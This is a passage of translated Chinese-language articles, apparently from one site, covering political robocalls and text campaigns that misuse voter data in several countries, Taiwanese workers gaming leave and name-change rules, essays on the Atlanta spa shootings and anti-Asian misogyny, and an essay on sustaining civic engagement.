虽然在政治营销电话劫持和短信活动中使用个人数据是一种很常见的做法，但在选民信息被滥用或电话内容引起愤怒之前，这种做法很少受到媒体关注。

在2011年加拿大联邦选举中，选民资料被滥用，当时有多个选区的居民受到电话劫持骚扰的影响，在选举日散布有关投票站和投票地点的错误信息。

法院最终裁定，“用于拨打误导性电话的个人私密信息最可能的来源是加拿大保守党维护和控制的 CIMS 数据库，目前不知道有多少人为此访问过该数据库”。

2014年，一名前保守党工作人员因参与电话劫持误导选民的丑闻而被认定违反加拿大《选举法》。这名工作人员曾用一次性手机向安大略省圭尔夫市的选民拨打了几千次欺骗性的自动电话。

2、在印度

「图」

为了缩小印度的数字鸿沟，恰蒂斯加尔邦启动了一项大规模的计划，通过向学生和妇女 **免费提供低端智能手机**，部分连接其人口。

而在2019年选举前夕，这些政府发放的手机被该州首席部长和印度人民党 (BJP) 竞选活动的电话劫持政治宣传作为目标。

报告指出，这种以选民为目标的电话劫持，包括民意调查和争取投票的信息，是由一个呼叫中心发出的，而这个呼叫中心以前是由邦政府雇用的，现在正代表一个客户被用于政治活动。

此外还分析了这种电话劫持行动所收集到的数据，以“引导党派积极分子拜访选民”，他们对反对派印度国大党有政治倾向。

作为回应，国大党向国家选举委员会提出申诉，认为印度人民党利用政府的选民数据为自己的竞选活动服务。

3、在马来西亚

「图」

关于马来西亚在2018年选举前大量使用选民数据的报告中也提到了政

治性的电话劫持。

Tactical Tech 的一份报告详述了 “国家人口普查部” 通过电话与选民联系的多个例子。请注意，控制拨打电话的人能够通过姓名和地区语言识别选民的身份，并询问选民有关现政府和对反对派态度的调查问题。

在另一宗个案中，一名受访者表示，马来西亚一个主要的电话中心曾与她联络，有一名身份不明的来电者询问她的投票取向、使用的投票站及投票原因。目前仍不清楚是哪个政党或实体委托进行这些电话调查、如何获得选民联系数据、或如何处理电话结果。

4、在英国

「图」

在2016年英国脱欧公投期间，Leave.EU 运动的附属机构 Better for the Country Ltd 向50多万英国选民的手机号码发送自动短信。卫报报道称，这些手机号码的来源是那些同意接收有关休闲健身、家庭装修业务、和保险短信的选民。

2016年，英国信息专员办公室对 Leave.EU 运动罚款5万英镑，原因是没有获得这些选民的明确同意。

我怎么知道这种东西是否正在我身上使用？

「图」

通常不难判断您是否是数据驱动的电话劫持或短信滋扰活动的目标：选民很容易注意到自己的收件箱和手机被候选人的政治信息所轰炸。

通过抢劫电话和短信与选民进行大规模和直接的联系，理论上会受当地消费者保护法的监管，只有在得到同意的情况下才允许这样做；但是，这些法规在适用于这些选民宣传方法的定义方面有所不同，例如，对选举活动信息传递的管制往往不如销售活动那样严格。NGP VAN（美国民主党人使用的数据管理系统）宣传电话劫持服务的屏幕截图。资料来源：NGP VAN

尽管有这些限制，总部设在美国的电话劫持和自动短信服务还是找到了利用法律漏洞的方法。

例如，未经事先明确同意，自动的轰炸式短信是不被允许的。根据联邦通信委员会的规定，“每条未经请求的短信必须有人员在场时才能发送”。而点对点短信服务依靠有实际的竞选者与目标选民进行直接对话这一事实来规避这些规则。因此，即使是向数千名选民的手机发送大量的复制粘贴回复，也不被认为是 “机器人操作”。

同样，RoboCent 还提供了所谓的 “无交互语音邮件技术”，该技术可以在目标人设备没有实际响起的情况下将预先录制好的信息发送到语音邮件，并称该服务 “为面向超过3亿移动用户的宣传打开了大门”。联邦通信委员会尚未就该技术的合法性作出裁决。

注意事项

「图」

1、电话劫持和自动短信直接利用选民的个人数据，并与选民亲密接触，以便传递竞选材料和信息，并进行民意调查和跟踪。

2、拨打电话和发短信可以被认为是政客/政党与选民之间直接沟通的一种手段 —— 这种手段最近几年才大规模出现。这种关系甚至可以延伸到竞选季之后，以保持与选民的联系，例如马来西亚政客向其支持者发送生日祝福或季节性问候。

但是，政治运动中的电话劫持和短信会加剧选民的分裂和概况化问题。

3、越来越多的证据表明，在竞选过程中，短信助长了错误信息和假新闻的扩散，例如在尼日利亚2019年大选前、或2018年魁北克选举时，都发现了基于短信的大规模诈骗，该诈骗承诺给支持者付钱。魁北克选举委员会推特账户的截图，警告当心诈骗短信。

自动电话也可以用于邪恶的目的，例如在2018年美国中期选举期间，一个白人至上主义的播客发起了对佛罗里达州和佐治亚州选民的电话劫持，其中包括针对每个州的非裔美国人候选人的种族主义和反犹主义信息。〇

Your Personal Data Is Political Data

原文

惩罚性的工作文化迫使年轻人游戏体制 - iyouport

社会反抗和思考

为了获得便宜的食物而改掉自己的名字；为了获得几天休假而频繁离婚。这说明什么？

中国舆论也曾经热议过为了买房而假结婚的现象。但当这种荒唐以不同形式在不同国家和地区出现时，人们需要挖掘其更为根本性的原因所在。

去年，在4月和5月的37天里，一位台湾银行雇员和他的伴侣互相离婚了三次，又再婚了四次。为什么？只是为了获得一些休假。

根据法律规定，台湾给予新婚夫妇8天的带薪婚假，这对夫妇在每次婚礼上都申请了这个假期：总共有32天的假期。当该银行试图向台北市政府劳动局上诉时，它因违反休假规定而被罚款约715美元（20,000新台币），因为法律对一个人结婚和离婚的次数没有限制。罚款后来被免除，但该银行试图对该裁决提出上诉，从而引发了一场关于什么是“假结婚”的棘手的法律斗争。虽然该员工后来离开了那家银行，但他声称他的前雇主仍然欠他24天的假期。

当我们其他人努力争取几天的假期时，这里有人设法获得了一整个月的假期，尽管为此付出了奇怪的代价。但具有讽刺意味的是，台湾高效的政府系统可以使这种情况非常容易做到 —— 如果你足够聪明，知道如何利用漏洞的话。而这似乎是台湾反复出现的模式，当涉及到试图获得免费的食物或一些休假时间时。

3月，台湾因被称为“三文鱼之乱”而成为国际头条。传送带式寿司连锁店 Sushiro 开始了一项促销活动，为那些名字在普通话中与三文鱼同音的人提供折扣寿司，为名字中含有“三文鱼”准确字样的人以及他们的五个朋友提供免费寿司。

这家连锁店没有预料到会有一波人跑到户籍办公室，支付3美元（80元新台币）的改名费用，吃下了价值数千美元的寿司，然后再把名字

改回去。据称，至少有一个人利用改名作为赚钱的手段，向人们收取13美元（400元新台币）的费用，让他们和他一起吃无限量的寿司，而一盘寿司通常需要1.25至1.6美元（40元新台币至80元新台币）。

在台湾，公民只允许改变自己的名字三次，据说有一个人改成了“张鲑鱼梦”这个名字后没有再改回去的机会了。(他后来得以最后一次改名的机会）。

在这两个故事发生后，台湾人越来越关注人们利用这些法律灰色地带的意愿。一些台湾人呼吁关闭这些法律漏洞，或者对滥用这些系统的人进行法律惩罚，这些系统的存在只是因为台湾政府的官僚效率比较高。

这个国家已经在公共技术方面进行了大量的投资，从后端政府系统到处理错误信息的复杂战略，再到其大流行病应对措施。通过严格的接触者追踪、防止返回者违反隔离规定的“电子围栏”系统、以及强制性健康监测应用程序，该国在大流行的第一年仅记录了约1100例Covid-19 病例和12例死亡 —— 尽管今年4月和5月的新一轮疫情导致该国实行了软封锁。

这种现代的治理方式解释了台湾人如何能够玩转这个系统。但他们为什么要这样做，显示了进步社会的局限性。

2020年，当这对夫妇反复离婚和结婚时，台湾只有115个公共假期，包括周末。根据劳动部的数据，2019年台湾的工作时长在全球排名第四，台湾人每年平均工作2033小时，而美国的工作时间大约为1800个小时。

许多公司制定了内部规定，阻止工人报告他们超过法定限度的加班情况，而且他们往往希望工人在完成规定的工作时间之后继续工作。2018年1月，蔡英文政府修改了法律，削减了公共假期，此举被视为撤消了近30年的劳动改革。并且，公司通常会阻挠工人成立工会的努力。

相对于台湾的高生活成本，工资也很低。许多为利用 **Sushiro** 促销活动而改名的人都是学生，他们在进入就业市场时面临着与他们的父母不一样的机会。大学毕业生可以期待 **“22K”** 的工资，这意味着要过吃方便面的生活。

考虑到台湾的房地产市场，拥有一栋房子对大多数年轻人来说感觉遥不可及；一项计算表明，一个普通的台湾人必须不吃不喝超过15年才

能买得起台湾首都台北的房子。

鉴于许多人感到如此不稳定，他们被拉入看似奇怪的热潮中，也就不足为奇了—— 2018年2月，卫生纸价格的拟议上涨导致了一波恐慌性购买，全国范围内出现了卫生纸短缺。

这些故事 —— 因其陌生性而成为全球头条 —— 其本身具有启示意义。它们表明，在全球经济不景气的时候，即使是在台湾这样一个发达的、看起来很进步的国家，要勉强维持生计，可能意味着要利用差距、漏洞和意外的后果。也许这一切表明，即使有一个技术先进、效率高的政府，在缺乏基本劳动条件的情况下，也没有什么意义。〇

Taiwan’s punishing work culture is forcing young people to game the system

原文

愤怒与报应：针对亚裔美国女性的恐怖战术的悠久历史 - iyouport

社会反抗和思考

“世界上的一切都是关于性的，除了性本身”，奥斯卡·王尔德说，“性是关于权力的”。而权力，对于一个持枪的愤怒男人来说，必须用来压制和征服女性，并支持使用流血作为更广泛的社会恐吓战术。

【按】正如 Nick Pemberton 在给 counterpunch 的撰稿中所指出的：“当总统宣扬仇恨的时候，整个国家就会紧随其后。我们的教训不应该是比尔·克林顿讨厌黑人、或者唐纳德·特朗普讨厌拉丁人、或者乔治·布什讨厌穆斯林，或者乔·拜登讨厌亚洲人。相反，我们必须审视通过替罪羊来解释危机的倾向。”

这里的第一篇文章讲述的是同一个道理。

当中国围观者继续致力于通过所谓的“中美对话”来判断“美国的态度”时，不论立场是什么，都是不够的。

这里是两篇文章，第一篇文章的作者是专栏作家 Rafia Zakaria，她为《卫报》、《波士顿评论》、《新共和》和《纽约时报》书评撰稿。

第二篇文章来自《名利场》杂志，作者是一位长期关注种族主义和厌女症危害的美国专栏作家。她是韩国裔美国人，在美国人眼里她就是“亚洲人”，于是在这里她给亚裔的女性朋友们写了一封公开信。虽然不是为了解决实际问题，但她说出了一些亚裔面对的长期困境，一些现实真相。也许在美国的亚裔朋友会有共鸣。被拘留的中国移民，大约拍摄于1910年 / mákvirág/California Historical Society

在亚特兰大地区三家按摩店八人被杀的第二天，切罗基县警长杰伊·贝克在记者招待会上发言时，似乎已经下定决心。尽管亚特兰大警察局长罗德尼·布莱恩特刚刚告诫说，现在确定动机还为时过早，但贝克对聚集在一起的记者们说，被控犯下这起怪异罪行的罗伯特·亚伦·朗“有

色情问题”，“正试图宣泄这种诱惑”。他补充说，朗似乎在“发泄”，他曾告诉调查人员，尽管6名受害者是亚裔女性，但杀人事件与种族“无关”。

通过这些简短的句子，佐治亚州的一名执法人员做了一件在白人至上主义恐怖主义时代已经成为惯例的事：他为“杀人的白人男子其实自己也是受害者”这一论调奠定了合理化的基础。按照这种不断发展的传统，在关于杀人事件的第一次官方新闻发布会上，朗被描述为一个被误解的精神病青年，正在与他的性瘾作斗争，他对消除“诱惑”的绝望导致他杀人。七千四百多万美国人把票投给了一个毫不掩饰地将疫情归咎于亚洲人的人，他向美国人传达的信息很简单，那就是，走吧，没什么好看的。

没有什么比这更离谱的了。在现实中，这里是一个白人男子，不像过去乔治亚州的奴隶主，感到有权让美国社会中一些最脆弱的妇女满足他的性需求。就像针对被奴役的黑人妇女所犯下的罪行根本不被认为是犯罪一样，被推到美国社会边缘的亚裔妇女的被杀事件，也被一个白人男子不受控制的性需求所解释。

“世界上的一切都是关于性的，除了性本身”，奥斯卡·王尔德说，“性是关于权力的”。而权力，对于一个持枪的愤怒男人来说，必须用来压制和征服女性，并支持使用流血作为更广泛的社会恐吓战术。这个愤怒的男人群体中的一个子集自称为“incels”，一些专家断言称他们是“国内恐怖主义威胁更广泛上升的一部分”。

【注：incel—involuntary celibate，非自愿独身，是指现时社会基于经济条件或其他非自愿的原因而无法找到伴侣的人。这些人一般都是男性，而且可能未有过任何性经验。这一群体后来成为了欧美社会中的一个次文化团体。】

然而，当被恐吓者不是白人而肇事者是白人时，执法部门拒绝使用“恐怖主义”和“恐怖分子”的字眼，这对理解本案至关重要。

这样做有两个令人信服的理由，一是美国排斥亚裔的悠久历史，二是佐治亚州的执法历史。

南方最早的集中化、专业化的治安组织是奴隶巡逻队，他们的工作是围捕和惩罚逃跑的奴隶，南方的历史学家认为，这些巡逻队应该被视为“美国现代执法的先驱”。

这段历史又可以和美国排斥亚裔的历史联系起来。根据性工作者活动

家朱诺·麦克（Juno Mac）和莫莉·史密斯（Molly Smith）的说法，最早的联邦移民限制措施包括1875年的《佩奇法案》、1882年的《排华法案》和1888年的《斯科特法案》。所有这些立法都是针对华人移民的，尤其是《佩奇法案》中的性工作者，揭示了对“错误的”厌女性焦虑是如何深植于移民控制中的。

这些观念在我们目前的移民制度中并没有简单地蒸发，亚裔女性，特别是在按摩院工作的女性，如亚特兰大杀人狂魔案中作为受害者的女性，也经常成为执法的目标。移民法通过利用驱逐出境的威胁来否定可以使她们更安全的权利，从而确保她们的无力感，而地方执法部门在热衷于执行反卖淫法的同时，也增加了她们每天的危险感。警方的突袭有时是致命的，如2017年11月，三十八岁的 Yang Song 在纽约因警方试图逮捕她而死亡。Hai Song shares a photo of his sister Yang, who leapt to her death during an NYPD vice operation late last month. Posted in May, Yang captioned the photo “Have been feeling blue for a long time. Let’s get some sunshine.”

执法部门想象在按摩院工作的亚裔妇女的方式，与罗伯特·亚伦·朗据称提出的想象并无太大差别。就像执法部门和移民局一样，朗似乎想摆脱美国社会中的某些亚裔女性—— 好像是她们把他推向了性成瘾的异类和随之而来的道德混乱。朗只是没有徽章，但他的行为和执法部门一样，都是出于让美国（也包括他自己）远离“恶习”的动机。就像执法部门，无论是**ICE**还是其他机构，他们残酷地执行带有强烈种族主义色彩的法律，朗似乎认为他的罪行与仇恨完全无关。

美国现行的联邦和州法律确保了在按摩院工作的亚裔女性被贴上“不道德”的标签，值得被恶劣对待。

2019年6月，佐治亚州的两家按摩院被突击检查，作为打击人口贩运的一部分；3人被逮捕，钱和业务账本被没收。“人口贩卖已经成为亚特兰大大都会的危机。非法按摩治疗业务通常与人口贩运有关”，该新闻稿随后这样写道，但是并没有透露被突击检查的房产是否存在这种情况。今年1月，佐治亚州警方在打击卖淫活动中又突击搜查了两家按摩店，结果逮捕了三名女性，她们随后被以卖淫罪定罪。

周二晚上发生的骇人听闻的杀戮事件，是发生在一个接受种族主义仇恨和厌恶女性的社会中、在随机的武装枪手以及警察部队中发生的恐怖行为。亚裔女性作为目标，是由仇恨的交叉勾结所造成的；一个政府的移民法规还沾染着排斥亚裔的初衷，执法者对少数族裔的身体施加一种统治，然后白人至上主义的恐怖杀手施加另一种统治。有些仇恨犯罪是因为实施仇恨犯罪的人怀有种族主义或宗教仇恨，另一些些

仇恨犯罪则是因为犯罪者和负责防止犯罪的人都认为必须将某一类人从美国社会中清除出去。〇

Rage and RetributionBY CHANG W. LEE/THE NEW YORK TIMES/REDUX

过去，我写了很多关于种族主义和性别歧视的文章和政治专栏，滔滔不绝地论证和解释各种正在进行的、持久的争取自由的斗争。但这不是我今天要写的东西。

今年3月，一名白人枪手在亚特兰大地区的三家亚裔按摩店开枪打死了八人，其中包括六名亚裔妇女，这是一起针对按摩店员工的种族主义、性别歧视的暴力袭击事件，今天我不会再把有限的生命用来捍卫边缘人群的权利，再一次和那些还没有看清这一切的人争论关于为什么我们都是应该享有人权的完全实现的人。在这漫长而艰难的一周，我在这里要给亚裔同胞们写信。

对亚裔女性来说，并不是为了声明“没有人替我们说话，我们的民族是如此的多姿多彩”等等；而我对这个世界、对美国的体验，是作为一个出生在首尔的韩裔美国籍女性，所以我先介绍一下我的经历：我三岁时随家人移居美国，我以写作和教书为生；我曾在服务行业工作过，在一家餐馆，但大学毕业后就没有做这种工作了。我的生活与在按摩店工作时遇害的六名亚裔女性、甚至四名韩裔女性有很多重合之处，这绝不是必然的，只是美国的很多人很难分清我们中的任何一个人。

这是和亚裔女性好友开的一个常态的、充满痛苦的玩笑，如果我们还没有被美国人误认为是对方，那我们就不是真正的朋友。美国人始终把我们混为一谈。迄今为止，我已经被误认为是比我高近一尺的亚洲女性，有比我小15岁或大15岁的女性，有双性恋者，有来自东亚和东南亚各国的女性，还有来自斯里兰卡、以及印度的人，我们所有人都被种族主义的故意、懒惰的不合逻辑扔在一起。

但我喜欢在这个群体 —— 我喜欢这里，和我的姐妹们在一起。我一直都是这样，没有别的地方我想去。也和以女性为外在特征的兄弟姐妹们在一起，虽然在这里我犹豫了，因为我知道至少有一些非二元的朋友不愿意自己和女性归为一类。也确实如很多人指出的那样，在遇到来自男性陌生人的性别暴力时，LGBTQ女性当然是弱势群体，所以不论你这么认为自己的性别，只要你想听，我就是写给你的。

当我们的有色人种兄弟姐妹也生活在白人至上主义的阴影下，也被白

人至上主义杀害时，当我们的有色人种姐妹和我们的白人姐妹也生活在厌女症的阴影下，也被厌女症暴徒杀害时，今天，我必须先写给我们所有人，和那些哭了一周的亚裔女性一起，她们悲痛、愤怒、恐惧、心痛，我们一起在种族主义、厌女症悲剧的沉重压力下哀悼。日裔美国媒体人在街上散步的时候被其他人朝她脸上吐口水，幸亏她戴着口罩也打了疫苗。

亲爱的生活在美国的亚裔女性：

直到这周，虽然我经常尝试，但我还是没能让自己告诉父母小心反亚裔攻击事件的激增，部分原因是我无法忍受他们搬到这个国家主要是为了我和弟弟的利益。

很多人也有这样的经历，特别是但完全不只是在过去的一年里，我们看到和听到很多亚裔被推搡、被拳打、被刀砍、被装满石头的袋子殴打、被可能的酸性液体袭击毁容、被陌生人杀害的报道，我们的长辈在走在大街上的时候被袭击，有时还被杀害，从网上的骚扰者到这个国家的上一任总统，每个人都在向我们投掷污言秽语和仇恨。

最近，每当我听到、读到或遇到新的仇恨事件时，我脑海中像哀歌一样响起的回音是：我们的心在破碎。我觉得很沮丧，因为这对谁有帮助呢，心碎了又能怎么样？不过，我今天更多的是在听这首挽歌。在我第一次看到袭击事件的几分钟后，我就开始思考我应该做些什么，如何才能发挥作用。也许我需要再花一分钟，也许是几分钟，和这颗破碎的心静静地呆一会。

我第一次看到韩国遇难者的名字用韩文写出的那一刻，我会看很久。用韩文写的，我联想到快乐，联想到回家，带着深深的、美好的安全感。我父母家的书上写的就是这种语言，当我真的想念母亲的食物时，我就会去餐馆看菜单，父母寄来的生日贺卡上也写着这种语言，给我讲述我在首尔出生的故事。而这一次，韩文标志着那些因为长相而被枪杀的妇女的逝去，她们被一个种族主义的枪手和这个国家的白人至上主义者所杀害。

不过，有那么一瞬间，我想回到那一闪而过的归宿。这不仅仅是因为我喜欢做一个韩国女人，我还喜欢我的生活中充满了韩国女人。我一生的工作之一就是努力更充分地成为这些女人中的一员。我想，随着年龄的增长，前景会有所改善。我们的母亲是严厉的，我们的祖母是可怕的，但我喜欢她们。在我与韩国妇女的小组聊天中，当我们中的一个人受到侮辱时，一个对话的主题就是，我们几乎可怜那个冒犯者——他通常是白人，一个男人，或者两者兼而有之——他们侵犯我

们，完全不知道他们脑袋里刚刚出现了什么东西。

我喜欢我们彼此之间的关怀，我们的奉献，现在我又要谈谈亚洲女性了。关心我们民族的强大冲动是一种祝福，但它也可能是一种负担，也许，在过去的几个月里，这种负担感觉特别沉重。心碎的感觉也像是一种失败。我们这些移民或移民的子女，从小就承担起保护长辈的角色。我们从小为他们做翻译，我们把自己放在他们和那些粗鲁的、种族主义的陌生人之间，我们为我们的长辈愤怒，而他们告诉我们不要担心，他们很好。

如果我们不能很好地保护自己的长辈，这或许让人觉得更加残酷。长辈们在很多情况下，都是为了我们才搬到这个国家来的。我们中的许多人也被这场大流行病与我们最爱的人拉开了身体上的距离，所以感觉我们在这方面也是失败的，因为我们无法保护我们爱的人不受病毒的伤害，而他们和我们，都受到了指责。

而与此同时，其他人也在辜负我们。一直在辜负我们。媒体收集并快乐地传播着关于凶手的谎言，声称关于他的屠杀“不是种族主义的”。他们公布他的名字和贴出他的照片，尽管我一直试图避免这种事 —— 用举着的手挡住那个凶手的脸才能让自己冷静地阅读新闻 —— 我将带着这一形象进入我的坟墓，因为我知道你们中的许多人都会这样做。我们被告知，凶手无法抵挡亚洲女性身体的“诱惑”。在我们还不知道受害者的名字之前，就有人假设被杀的女性是性工作者 —— 好像这就是屠杀的理由。

其实并非如此，性工作就是工作，所有的性工作者都应该得到我们本来就应该拥有的全部权利。关于这些女性是谁的报道仍然很少。你们中的一些人是记者，而精通一些被害妇女和其家人所讲的语言的美籍亚裔记者却被告知他们*不能报道大屠杀*，因为他们可能太有偏见，尽管白人记者 —— 沉浸在这个国家的白人至上主义中，很可能无法与证人和家人流利地交谈 —— 很可能特别不具备做好和负责任地讲述这些故事的能力。地方政府的第一反应就是在亚裔为主的地区增加警力，而许多亚裔活动家、按摩店工人、性工作者和社区领袖都表示，增加警力只会伤害我们，而不是帮助我们。

我们不得不大声疾呼，期望能让官方媒体和政客们开始相信这里存在一个真正的问题。去年3月的那一天，当前任总统开始宣称“中国病毒”时，我和你们中的许多人一样，都哭了，因为我们清楚地知道结果会发生什么，这些配对的词语会激起怎样的仇恨。

我们被告知这是“新的”，被告知我们还没有真正经历过种族主义；但

我们在这个国家的整个生存都被一种力量所扭曲、塑造和变形，比如1875年的Page法案，该法案阻止了中国女性的移民，借口是她们 —— 就是我们—— 是不道德的，是 “诱惑”。

其中一些失败来自于我们最亲近的人。许多白人朋友、家人、同事、伙伴、和老师对我们日益增长的警觉轻描淡写、甚至完全无视。在我向其提出反亚裔种族主义抬头的第一批白人男子中，有一个人回答说，这种种族主义是否真的发生了？我刚刚告诉他，这是真的。本周的沉默响彻云霄，在我们没有收到的短信中，在社交媒体上的缺席中，那些说他们深爱我们的人，听到我们谈论这个问题的人，并没有想知道我们是否没事，没有看到在这个巨大的集体悲伤的时刻，是否可能是一个恰当的时候来给我们一些爱。

昨天，经过长时间的拖延，我终于和母亲说了话，我请母亲出门时多加小心。我是想不哭的，当然我失败了，当然母亲也马上想安慰我。她列举了所有她觉得去商店不会危险的理由 —— 她已经准备好了这份理由清单，她一直在思考这件事 —— 然后她开始试图说服我，让我不要离开我的公寓。如果我真的离开了，她提议我比平时更大声地用英语说话，希望种族主义的白人会知道我的归属。

换句话说，她会担心我，我也会担心她，我们都没有对对方说过一句我们长久以来的担心，因为我们不想给对方造成额外的痛苦。非常的痛苦。这一切都很痛苦。依然是，也一直以来都是，我们被攻击、被忽视、被厌恶、被边缘化、被不尊重。我很感谢其他许多人，尤其是我们的黑人和棕色人种兄弟姐妹，他们生活在系统性的不公正、无休止的警察暴力和深刻的被边缘化中，他们知道应该向我们传递他们的爱，至少还有一些白人。

最近，我和一位好友，作家英格丽·罗哈斯·康特雷拉斯（Ingrid Rojas Contreras）聊起我们作为有色人种女性生活的一些复杂情况，她说，在那一刻，感觉就像乌云散去，像豁然开朗，“我们对我很重要”。

你们对我也很重要，我宁愿只要能和我们的盟友站在一起，已经不期待 “他们” 能和我们站在一起。“我们” 就是我们的归属。〇

A Letter to My Fellow Asian Women Whose Hearts Are Still Breaking

原文

我们可以维持吗？ 如何将政治抵抗的热情转化为一个公民参与的新时代 - iyouport

社会反抗和思考

【2019年6月13日存档】一个个热点、一次次街头维权，都成了过眼云烟，曾经的激情和勇气都没能起到真正的推动变革的作用，为什么会这样？活动家们可以如何通过改变技巧以维系公民参与的热情？这是个值得思考的问题。幸运的是，有办法

我们一直在谈论各种失败，希望能在教训中迅速成长起来。我们分析了大规模监视、在线跟踪、社会互信低下等各方面的原因，并且给出了各种重要的保护性方案。但是，还有一个问题我们似乎没能正视。

这是一个关键问题—— 我们可以维持吗？从不断的舆论热点、到各地的维权活动，似乎此起彼伏，但是所有的一切都非常短暂，这种短暂至少是在“印象”层面给地方和中央当局的维稳带来了自信，不论是在线还是街头，只要他们拖延足够的时间，人们的激情就会自行“冷却”，而不需要当权者作出真正的改变。

结果就是，看起来民间反抗的激情此起彼伏，但是没有任何一种行动能真正起到改变现状的作用。这不是在通往民主的路上，民主需要公民参与成为日常生活的一部分。

事实上这在美国也一样。从特朗普的美国大选之后出现了很多的抗议活动，而且其中多数都远超过中国曾经的规模。从世界范围内的 Women’s March，到 Congressional phone lines 等等，但结果都是如此。

人们不禁会疑惑：激情推动的政治抵抗是一种已经过时的模式吗？公民机构如何才能将那些充满激情的政治时刻从短暂的时尚转变为一种生活方式，令其持久并起效—— 即 推动平等、包容性经济、维护民主制度、和可持续发展的世界等重要的进步问题？

Tristan Harris 的一次采访似乎带来了某种灵感。Tristan 是谷歌的设计师，他的工作就是思考其产品如何影响用户的思想。他曾经创办了一个名为 Time Well Spent 的项目，该项目旨在提高人们对技术如何劫持思维并将注意力转移到我们真正想要做的事情上的认识。

那么，这与将公民参与转变成一种生活方式有什么关系呢？可以说关系很密切。我们可以使用技术公司相同的技巧来赢得这场战斗，以便将公民参与从业余爱好转变为习惯。例如，Snapchat 使用互惠理论使用户成为像 Snapstreaks 这样的高价值的东西，于是用户日复一日地努力与某人交往，这是一种促进力的激发。

也许我们可以做同样的事让人们对民主上瘾。逐步将短暂的兴趣转化为持久的参与

准备好公民参与：从兴趣到习惯

人们喜欢佩戴徽章—— 有时就是字面上的意思，但通常都不是，但人们知道那些图像和符号意味着什么。因为这些代表了自我选择和深刻意义的想法，关于我们是谁，我们代表什么，以及我们为什么以我们的方式生活。很多人选择过诸如这样的徽章—— 勇士之路、美食家、寻求刺激者、汽车爱好者，等等。它们对我们很重要。徽章在激励我们努力实现它们。

如果我们想让充满激情的公民参与成为一种生活方式，我们就必须让它成为人们想要获得和永远佩戴的徽章。以下是有可能如何做到这点。

– I –

首先，我们必须引起人们的注意。比如在美国，2016 年大选可能只是一个非常高效的吸引力来源，你对热点的兴趣吸引你参与评论，因为参与能让你获得自身的影响力提升。这就是为什么人们追热点。但是，如何在不依赖别人的推文的情况下获得关注呢？因为普通人经常无法成为这样的热点。

心理学在社会工作方面的作用颇大。如果你想知道“如何才能”，就要理解“为什么不能”。

及时和个性化—— 看起来离自己越远的东西越容易被忽略，这被称为时间贴现。这就是为什么很多美国人不参与难民危机问题，以及为什么大多数中国人不关心美国社会的反抗，也就因此难以和国际力量

联合。

因为这种东西看起来“遥不可及”，似乎并没有立即影响到日常生活，所以人们没有参与。于是反过来想，如果你希望引起人们的注意，那就要把它拉近：立即对这个人或他们喜欢的人产生联系性影响，或指出人们如何谈论它。使它与生活切实相关，而不再是一个抽象概念。这就是为什么将污染问题与个人健康联系起来比谈论“百万分之一”更有效。

让它成为高赌注—— 如果你想要某个人坐下来仔细听你说话，那么就需要触动此人的利益计算，即最普遍使用的“损失厌恶”效应。人们对那些自己有可能会失去的东西的重视永远都比自己拥有的东西更多。如果你能理解目标群体最担心失去什么，你就能对他们产生有效的影响。

不要误会，这种方法并没有什么程序不正义，损失厌恶是人的心理活动特点，它本身没有善恶之分。但是，至少在中国一直以来这种方法都被用于恼人的广告宣传、诈骗和社交工程攻击等恶劣的活动，同时正义的事业没能充分调用这一方法，事实上是正义事业的损失。

我们现在可以通过思考来作出改变。

– II –

接下来，人们需要了解情况。我们看到这种情况已经自然而然地发生在引导更多人转向有效的新闻来源方面，并且至少让人们知道了要绕避虚假消息（如果不是完全避免的话）。我们可以通过几种方式来鼓励这种行为。

练习植入免疫力—— 这意味着提高对错误信息的认识。Tristan Harris 曾经提到了将虚假消息称为“虚假轰动主义”的想法。这个术语利用嘲笑的力量来贬低这个概念，并让人们警惕自己被陷入其中（避免自己成为被嘲笑的人），它很有效，因为没有人想要自己看上去很蠢容易上当受骗。

多花时间寻找共同点—— 不要过快地从识别问题转移到推动触发“ 解决方案厌恶 ”。这是一个关键，一直以来中国社会中很多方法的失败就源于这点，把解决方案设计得不讨喜，即便它真的会有效，你也无法因此赢得人们的支持。就像当人们越来越多地认清了谷歌等监视资本主义巨头的真面目后，如果没有duckduckgo跟进，这种“认清”不存在任何意义；如果你建议人们回到传统时代通过多读书来理解问题而

不是 googling，这样确实可以避免了监视，但是肯定没有人会认同你。

所有事情都是如此，如果你提出一个人们不喜欢的解决方案，人们就会更加认为问题“不重要”，因为人们会感到“解决它比不解决还糟”。为了防止这种情况，你需要花更多的时间来讨论问题的后果，以提高其显著性。而不是急于探讨方案。

– III –

一旦人们得到了影响，他们就会准备扩大他们的观点—与他人进行互动、讨论和辩论。如果错过这一关键步骤，很可能只会导致短期的激进和长期的倦怠。

公民社会应该准确且快速地抓取这些时机，以展开工作。巴拿马文件和棱镜文件这两个轰动全球的揭秘之所以在中国没有起到任何作用，一定程度上就因为活动家没有能实现上述技巧 。一直以来我们的失败和过眼云烟般的热点被错失，都与此有关。

组织者应该知道，挨家挨户进行真正的讨论可以加深关系和彼此的信任。如果我们想要改变不合理的观点，那么花点时间听取不同的观点是非常重要的。

在这个阶段，经验至关重要—— 虚拟现实（VR）和现实生活模拟可以发挥重要作用。斯坦福大学的虚拟人类互动实验室做了一个实验。参与者在接受 VR 关于树木保护的沉浸式影响后，他们开始在现实生活中更少的使用纸张。

如果你还能记得中国的关于使用 VR 上“党课”的某个新闻，应该能感觉到当局的意识形态宣传对此的重视。当时这个新闻被很多人轻视了，被认为是出风头，事实并不然。

为什么他们能用而我们不能？没有任何道理。

想象一下，使用这种经验方法向人们展示警察闯入工作场所甚至自己的家，要求查看所有文件、搜走所有电子设备……人们就应该能意识到在现实中保护隐私的重要性。

我们应该避免道德原教旨主义—— 在大多数 Clint Eastwood 电影中都能看到那种“我的方式或高速公路”的情绪。事实是，有很多高速公路。几乎可以从任何一个地点开始加入这一旅程。这就是活动家应该传递给人们的信念。

摆脱道德原教旨主义是我们如何发展运动的关键。它使人们更容易参与切实的活动，而不是泡沫化的。这鼓励了那种以公民参与为核心的诚实，也许会有艰难的对话，但是值得。

考虑到虽然在线激进主义可能更容易和更具可扩展性，但是研究已经表明，面对面的联系更加强大。当你决定在哪里举行下一次聚会时，请记住这一点。有很多方法可以真正成为社区的一部分，值得花时间来取得这些进展。

即使开始思考这一问题都是很有帮助的。你肯定会一下子想到实名制交通工具、无处不在的摄像头和维稳机构的线人，你会觉得线下聚会不可行。但是活动家提出了这一问题就已经足够引起人们思考，从而加强了对监视的认识，这是我们一起寻找解决方案的基础。

– IV –

现在人们对这个问题有了明智的看法，他们可以将自己视为解决方案的一部分。

